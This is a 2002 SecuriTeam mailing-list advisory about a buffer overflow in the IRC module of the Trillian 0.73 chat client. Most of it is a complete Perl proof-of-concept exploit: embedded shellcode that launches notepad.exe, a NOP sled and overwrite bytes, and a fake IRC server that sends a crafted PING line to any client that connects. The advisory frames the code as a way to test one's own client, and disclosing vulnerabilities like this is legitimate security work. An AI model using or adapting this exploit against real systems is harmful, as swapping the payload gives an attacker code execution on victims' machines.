[EXPL] Trillian IRC PING Buffer Overflow Vulnerability (Exploit)

From: support@securiteam.com
Date: 08/05/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Mon,  5 Aug 2002 19:14:37 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Trillian IRC PING Buffer Overflow Vulnerability (Exploit)
------------------------------------------------------------------------

SUMMARY

 <http://www.trillian.cc/> Trillian's IRC module suffers from a buffer
overflow. This allows an attacker to execute code of their choice. The
following is an exploit code that can be used to test your client for the
mentioned vulnerability.

DETAILS

Vulnerable systems:
 * Trillian version 0.73

Exploit:
#!/usr/local/bin/perl
#---------------------sicillian.pl-----------------------
#- Proof of concept exploit for trillians irc module. -
#- Tested on trillian 0.73 but i suspect all version -
#- prior maybe exploited as well. -
#- -
#- John C. Hennessy (Information security analyst) -
#--------------------------------------------------------

use Socket;

$|=1;

        #egg written by UNYUN (http://www.shadowpenguin.org/)
$egg = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2";
$egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7";
$egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C";
$egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB";
$egg .= "\xFD\xE8\xD4\xFF\xFF\xFF";
$egg .= "notepad.exe";

$buf = "\x90" x 174;
$buf .= $egg;
#$buf .= "A" x 2;
$buf .= "\x41\x41\x41\x41";
#$buf .= "B" x 80;

my $host = inet_aton("127.0.0.1");
my $proto = getprotobyname("tcp");
my $port = 6667;

my $add_port = sockaddr_in($port,$host);

my $ser_sock = socket(SOCKET,PF_INET,SOCK_STREAM,$proto) or die "Cannot
open Socket: $!";

bind(SOCKET,$add_port) or die "\nCould\'t bind to port $port : $!\n ";

my $connection = listen(SOCKET,5) or die "Could't listen on $port: $! \n";

while(accept(CLIENT,SOCKET)){

# print message from client

#my $ans = <CLIENT>;
#print $ans;

#echo message back to client.

print CLIENT "PING :1986115026\r\n001 :irc.random.org trillian :$buf\r\n";
}

close(SOCKET);

ADDITIONAL INFORMATION

The information has been provided by <mailto:johnh@charm.net> John C.
Hennessy.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages